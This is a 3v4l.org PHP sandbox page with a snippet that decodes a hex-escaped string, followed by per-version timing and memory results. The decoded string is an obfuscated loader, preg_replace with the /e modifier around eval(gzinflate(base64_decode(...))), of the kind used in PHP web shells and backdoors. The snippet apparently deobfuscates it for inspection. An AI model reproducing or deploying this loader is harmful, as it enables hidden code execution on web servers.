3v4l.org

run code in 300+ PHP versions simultaneously
<?php $xkf00c = "\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65\x28\x22\x2f\x2e\x2a\x2f\x65\x22\x2c\x22\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x43\x5c\x78\x32\x38\x5c\x78\x36\x37\x5c\x78\x37\x41\x5c\x78\x36\x39\x5c\x78\x36\x45\x5c\x78\x36\x36\x5c\x78\x36\x43\x5c\x78\x36\x31\x5c\x78\x37\x34\x5c\x78\x36\x35\x5c\x78\x32\x38\x5c\x78\x36\x32\x5c\x78\x36\x31\x5c\x78\x37\x33\x5c\x78\x36\x35\x5c\x78\x33\x36\x5c\x78\x33\x34\x5c\x78\x35\x46\x5c\x78\x36\x34\x5c\x78\x36\x35\x5c\x78\x36\x33\x5c\x78\x36\x46\x5c\x78\x36\x34\x5c\x78\x36\x35\x5c\x78\x32\x38\x27\x7a\x56\x48\x62\x72\x70\x70\x51\x46\x50\x77\x58\x58\x30\x35\x62\x6d\x6f\x50\x63\x4a\x58\x32\x43\x4c\x53\x67\x67\x46\x37\x6b\x4b\x4d\x57\x6e\x6b\x49\x73\x70\x47\x39\x6c\x5a\x45\x6b\x4b\x38\x76\x70\x35\x36\x6b\x66\x65\x6c\x37\x48\x79\x61\x54\x4e\x54\x4d\x72\x57\x5a\x6d\x46\x62\x30\x58\x35\x38\x31\x62\x67\x2b\x70\x41\x56\x58\x32\x62\x6b\x2b\x7a\x65\x79\x6d\x48\x32\x66\x37\x51\x65\x65\x32\x77\x38\x43\x50\x7a\x45\x31\x41\x65\x77\x48\x65\x6a\x47\x78\x4d\x47\x6e\x53\x78\x4f\x49\x45\x5a\x51\x4c\x2f\x38\x6a\x34\x79\x41\x76\x76\x61\x2b\x5a\x32\x6a\x50\x7a\x58\x6d\x70\x54\x46\x54\x6a\x70\x6c\x38\x54\x70\x33\x6d\x7a\x78\x7a\x2f\x34\x66\x30\x31\x30\x34\x73\x33\x37\x2f\x6d\x77\x76\x4b\x65\x67\x6a\x36\x62\x6f\x65\x79\x5a\x38\x65\x41\x64\x4b\x4d\x79\x74\x7a\x33\x69\x37\x39\x49\x41\x43\x77\x4d\x33\x49\x39\x75\x4e\x70\x70\x7a\x5a\x5a\x62\x55\x41\x64\x62\x4e\x65\x71\x6a\x2b\x69\x4b\x68\x55\x58\x74\x4b\x64\x47\x58\x41\x33\x75\x70\x54\x44\x31\x64\x4b\x4f\x46\x77\x53\x4b\x5a\x56\x31\x50\x30\x37\x51\x69\x74\x50\x76\x30\x6d\x41\x4f\x55\x74\x59\x41\x41\x6c\x61\x37\x34\x41\x51\x38\x42\x49\x70\x45\x59\x75\x4a\x61\x6f\x6b\x2b\x47\x46\x72\x42\x4b\x66\x4e\x44\x30\x78\x4c\x79\x37\x67\x53\x70\x54\x36\x74\x57\x4c\x61\x6e\x63\x48\x44\x51\x50\x43\x67\x34\x48\x67\x6c\x71\x4a\x50\x49\x46\x6b\x68\x2b\x57\x32\x36\x55\x50\x77\x44\x52\x70\x35\x4b\x6d\x6e\x33\x39\x67\x66\x2b\x66\x39\x71\x78\x34\x64\x46\x4f\x6b\x39\x61\x70\x32\x65\x45\x53\x70\x7a\x70\x6a\x6d\x64\x76\x4e\x49\x4e\x47\x4e\x2b\x61\x70\x5a\x75\x30\x53\x6f\x37\x33\x77\x77\x42\x36\x74\x32\x30\x78\x46\x55\x46\x6e\x77\x69\x76\x2b\x4d\x67\x35\x55\x73\x5a\x77\x35\x6f\x6e\x47\x47\x55\x6b\x37\x58\x79\x51\x74\x70\x34\x7a\x7a\x79\x73\x4c\x6a\x45\x4a\x52\x51\x6c\x49\x4f\x4d\x55\x2f\x55\x35\x6c\x63\x53\x58\x38\x4c\x6b\x67\x36\x55\x67\x49\x48\x55\x39\x77\x36\x72\x75\x49\x65\x58\x4a\x46\x46\x44\x4c\x67\x30\x6a\x57\x35\x75\x36\x70\x5a\x4e\x31\x54\x45\x4d\x6a\x30\x79\x4f\x58\x65\x39\x31\x44\x6e\x5a\x4f\x75\x75\x6d\x6f\x71\x6a\x4e\x78\x61\x70\x41\x46\x42\x76\x61\x4a\x6e\x4a\x59\x7a\x62\x35\x33\x62\x6b\x38\x34\x43\x59\x45\x51\x50\x67\x66\x38\x47\x54\x41\x4b\x5a\x4b\x79\x79\x6f\x62\x4c\x65\x41\x55\x77\x4a\x33\x5a\x76\x5a\x39\x48\x62\x62\x63\x34\x74\x61\x4e\x55\x2f\x62\x54\x42\x45\x47\x63\x58\x73\x50\x62\x59\x54\x63\x56\x52\x59\x79\x34\x31\x31\x42\x71\x63\x69\x75\x6f\x34\x32\x35\x42\x47\x48\x50\x49\x64\x69\x6a\x77\x72\x64\x4a\x75\x74\x74\x42\x56\x79\x35\x76\x7a\x51\x4f\x65\x32\x58\x53\x6f\x62\x30\x56\x4c\x31\x66\x50\x34\x59\x4e\x47\x55\x73\x52\x42\x31\x49\x58\x47\x46\x7a\x72\x45\x36\x43\x68\x2f\x54\x4a\x69\x79\x76\x55\x55\x36\x34\x75\x4a\x55\x44\x58\x38\x75\x4f\x50\x73\x36\x64\x59\x50\x4f\x50\x7a\x2f\x34\x43\x27\x5c\x78\x32\x39\x5c\x78\x32\x39\x5c\x78\x32\x39\x5c\x78\x33\x42\x22\x2c\x22\x22\x29\x3b"; echo decode_code($xkf00c); function decode_code($code){ return preg_replace_callback( "@\\\(x)?([0-9a-f]{2,3})@", function($m){ return chr($m[1]?hexdec($m[2]):octdec($m[2])); }, $code ); } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0160.00618.28
8.3.50.0110.00722.03
8.3.40.0040.01118.96
8.3.30.0060.00919.22
8.3.20.0050.00320.34
8.3.10.0050.00321.96
8.3.00.0050.00322.33
8.2.180.0070.00718.54
8.2.170.0120.00322.96
8.2.160.0060.00921.05
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0050.00326.16
8.2.120.0040.00419.61
8.2.110.0080.00022.03
8.2.100.0120.00019.89
8.2.90.0080.00019.11
8.2.80.0040.00417.97
8.2.70.0050.00318.00
8.2.60.0000.00818.03
8.2.50.0030.00618.07
8.2.40.0050.00318.16
8.2.30.0030.00518.14
8.2.20.0050.00317.90
8.2.10.0040.00417.82
8.2.00.0040.00417.88
8.1.280.0040.01525.92
8.1.270.0000.00822.31
8.1.260.0040.00426.35
8.1.250.0030.00628.09
8.1.240.0000.00823.84
8.1.230.0040.00719.29
8.1.220.0060.00317.80
8.1.210.0080.00018.77
8.1.200.0030.00617.73
8.1.190.0080.00017.68
8.1.180.0050.00318.72
8.1.170.0060.00318.91
8.1.160.0040.00422.12
8.1.150.0070.00018.89
8.1.140.0000.00717.52
8.1.130.0000.00717.77
8.1.120.0000.00717.63
8.1.110.0030.00517.66
8.1.100.0000.00717.68
8.1.90.0070.00017.64
8.1.80.0000.00817.66
8.1.70.0000.00817.64
8.1.60.0060.00317.72
8.1.50.0080.00017.65
8.1.40.0080.00017.63
8.1.30.0030.00517.78
8.1.20.0040.00417.82
8.1.10.0040.00417.74
8.1.00.0050.00217.77
8.0.300.0040.00418.77
8.0.290.0040.00417.18
8.0.280.0000.00718.49
8.0.270.0000.00717.31
8.0.260.0050.00216.88
8.0.250.0070.00017.17
8.0.240.0070.00017.16
8.0.230.0030.00316.96
8.0.220.0050.00317.01
8.0.210.0000.00716.95
8.0.200.0050.00217.13
8.0.190.0050.00217.03
8.0.180.0000.00917.14
8.0.170.0060.00316.98
8.0.160.0070.00017.04
8.0.150.0070.00016.98
8.0.140.0060.00316.97
8.0.130.0000.00613.50
8.0.120.0060.00316.93
8.0.110.0000.00717.02
8.0.100.0040.00416.98
8.0.90.0000.00716.97
8.0.80.0090.00617.07
8.0.70.0000.00716.97
8.0.60.0040.00417.14
8.0.50.0040.00416.95
8.0.30.0090.00917.52
8.0.20.0080.01117.49
8.0.10.0040.00417.21
8.0.00.0140.01217.04
7.4.330.0050.00015.17
7.4.320.0060.00016.83
7.4.300.0060.00016.76
7.4.290.0030.00316.87
7.4.280.0000.00716.77
7.4.270.0080.00016.67
7.4.260.0070.00016.73
7.4.250.0000.00716.64
7.4.240.0070.00016.81
7.4.230.0000.00816.77
7.4.220.0150.00316.84
7.4.210.0080.00716.83
7.4.200.0000.00716.95
7.4.190.0030.00316.77
7.4.160.0070.01116.77
7.4.150.0120.01217.40
7.4.140.0060.01217.86
7.4.130.0120.00716.76
7.4.120.0080.01116.83
7.4.110.0030.01416.51
7.4.100.0060.01516.73
7.4.90.0080.01116.89
7.4.80.0070.01319.39
7.4.70.0090.01116.66
7.4.60.0070.01016.81
7.4.50.0000.00916.92
7.4.40.0080.01122.77
7.4.30.0060.00916.79
7.4.00.0080.00714.95
7.3.330.0030.00313.51
7.3.320.0050.00013.53
7.3.310.0070.00016.51
7.3.300.0000.00716.58
7.3.290.0030.01116.46
7.3.280.0100.00716.47
7.3.270.0100.01317.40
7.3.260.0170.00616.67
7.3.250.0100.00716.54
7.3.240.0060.01616.80
7.3.230.0080.00816.61
7.3.210.0090.00916.84
7.3.200.0040.01719.39
7.3.190.0070.01116.57
7.3.180.0040.01116.70
7.3.170.0150.00616.86
7.3.160.0060.00916.74
7.3.120.0060.01015.13
7.3.110.0090.00915.01
7.3.100.0110.00715.21
7.3.90.0060.00914.92
7.3.80.0030.01014.77
7.3.70.0070.00715.00
7.3.60.0100.00714.81
7.3.50.0070.00714.97
7.3.40.0030.00715.16
7.3.30.0000.01414.90
7.3.20.0030.01016.46
7.3.10.0090.00616.77
7.3.00.0120.00316.80
7.2.330.0120.01216.82
7.2.320.0120.00916.73
7.2.310.0150.00716.85
7.2.300.0160.00016.98
7.2.290.0070.01016.84
7.2.250.0080.00615.39
7.2.240.0070.01315.41
7.2.230.0100.00315.41
7.2.220.0030.00715.33
7.2.210.0100.00314.95
7.2.200.0030.01215.24
7.2.190.0060.00315.21
7.2.180.0030.01415.30
7.2.170.0030.01315.04
7.2.00.0040.01119.76
7.1.330.0120.00315.92
7.1.320.0090.00616.01
7.1.310.0060.00916.22
7.1.300.0030.01315.90
7.1.290.0030.01015.87
7.1.280.0000.00815.95
7.1.270.0030.01015.99
7.1.260.0040.00715.79
7.1.70.0000.00717.48
7.1.60.0030.00717.56
7.1.50.0170.00717.32
7.1.00.0000.07722.55
7.0.200.0030.00616.93
7.0.140.0130.06322.16
7.0.60.0130.06319.86
7.0.50.0100.05017.91
7.0.40.0100.07020.27
7.0.30.0300.07720.11
7.0.20.0200.04720.25
7.0.10.0270.04720.07
7.0.00.0330.03720.23
5.6.280.0030.07321.14
5.6.210.0070.07020.52
5.6.200.0130.07718.16
5.6.190.0070.08320.48
5.6.180.3170.03720.61
5.6.170.0230.04320.53
5.6.160.0030.08320.45
5.6.150.0030.06018.12
5.6.140.0070.04018.11
5.6.130.0100.08018.26
5.6.120.0100.07721.06
5.6.110.0030.07720.97
5.6.100.0170.07321.02
5.6.90.0070.07721.01
5.6.80.0170.07020.40
5.6.70.3470.03020.52
5.5.350.0000.08020.42
5.5.340.0200.06317.98
5.5.330.0100.04020.13
5.5.320.0070.04720.38
5.5.310.0270.04320.37
5.5.300.0070.04717.95
5.5.290.0030.06017.98
5.5.280.0130.07720.88
5.5.270.0000.06320.88
5.5.260.0130.06320.98
5.5.250.0000.08320.69
5.5.240.0200.06720.16
5.4.450.0500.05319.35
5.4.440.0630.05719.16
5.4.430.0070.05719.48
5.4.420.0070.05719.43
5.4.410.0130.05319.31
5.4.400.0800.00018.73
5.4.390.0870.00018.54
5.4.380.0200.06718.57
5.4.370.0230.04318.78
5.4.360.0130.05318.62
5.4.350.0200.05018.86
5.4.340.0130.05718.86
5.4.320.0110.03612.50
5.4.310.0070.03712.50
5.4.300.0070.03912.51
5.4.290.0050.03712.51
5.4.280.0050.03612.41
5.4.270.0090.03312.40
5.4.260.0170.06318.77
5.4.250.0130.05318.81
5.4.240.0170.06018.78
5.4.230.0130.07319.10
5.4.220.0070.07018.66
5.4.210.0170.07718.99
5.4.200.0170.07319.00
5.4.190.0030.07318.80
5.4.180.0070.06018.80
5.4.170.0100.06018.79
5.4.160.0070.06718.93
5.4.150.0100.08018.83
5.4.140.0170.06316.45
5.4.130.0030.05716.64
5.4.120.0070.04716.44
5.4.110.0030.05016.43
5.4.100.0100.05316.48
5.4.90.0170.05016.70
5.4.80.0070.04716.37
5.4.70.0130.05016.41
5.4.60.0100.04716.39
5.4.50.0100.04716.45
5.4.40.0070.06316.55
5.4.30.0030.05016.46
5.4.20.0070.04716.38
5.4.10.0030.05316.59
5.4.00.0100.04315.81
5.3.290.0040.04012.80
5.3.280.0170.06314.67
5.3.270.0000.08014.45
5.3.260.0170.06714.70
5.3.250.0030.05714.84
5.3.240.0170.06714.62
5.3.230.0130.06314.70
5.3.220.0130.04314.73
5.3.210.0070.05014.74
5.3.200.0100.06314.66
5.3.190.0030.05314.66
5.3.180.0070.06714.64
5.3.170.0130.04314.59
5.3.160.0070.05014.73
5.3.150.0030.06014.64
5.3.140.0100.04314.41
5.3.130.0070.05014.55
5.3.120.0170.04314.39
5.3.110.0170.06314.69
5.3.100.0000.07314.03
5.3.90.0200.05714.11
5.3.80.0170.05013.86
5.3.70.0130.05314.04
5.3.60.0100.05014.01
5.3.50.0100.04713.86
5.3.40.0000.05714.04
5.3.30.0100.04713.75
5.3.20.0130.04313.71
5.3.10.0130.04713.73
5.3.00.0070.07013.65
5.2.170.0100.03711.04
5.2.160.0070.04011.13
5.2.150.0100.04711.11
5.2.140.0000.04711.22
5.2.130.0070.04711.18
5.2.120.0070.05011.18
5.2.110.0100.04011.18
5.2.100.0030.04311.11
5.2.90.0030.04011.00
5.2.80.0130.05011.10
5.2.70.0030.04311.16
5.2.60.0100.03710.96
5.2.50.0100.04710.97
5.2.40.0030.05311.09
5.2.30.0100.04010.98
5.2.20.0070.03711.05
5.2.10.0070.03711.05
5.2.00.0170.04310.64
5.1.60.0100.0279.98
5.1.50.0030.0379.84
5.1.40.0100.04010.18
5.1.30.0100.02710.33
5.1.20.0000.05010.36
5.1.10.0070.03310.08
5.1.00.0100.04010.03
5.0.50.0000.0438.55
5.0.40.0130.0308.33
5.0.30.0100.0408.21
5.0.20.0030.0278.17
5.0.10.0000.0338.27
5.0.00.0000.0478.08
4.4.90.0000.0237.47
4.4.80.0000.0237.47
4.4.70.0100.0137.47
4.4.60.0030.0207.47
4.4.50.0000.0237.47
4.4.40.0030.0477.47
4.4.30.0070.0237.47
4.4.20.0000.0237.47
4.4.10.0000.0237.47
4.4.00.0030.0377.47
4.3.110.0070.0237.47
4.3.100.0070.0177.47
4.3.90.0000.0277.47
4.3.80.0030.0307.47
4.3.70.0030.0207.47
4.3.60.0000.0237.47
4.3.50.0030.0237.47
4.3.40.0030.0337.47
4.3.30.0030.0277.47
4.3.20.0030.0207.47
4.3.10.0000.0237.47
4.3.00.0100.0208.20

preferences:
47.55 ms | 401 KiB | 5 Q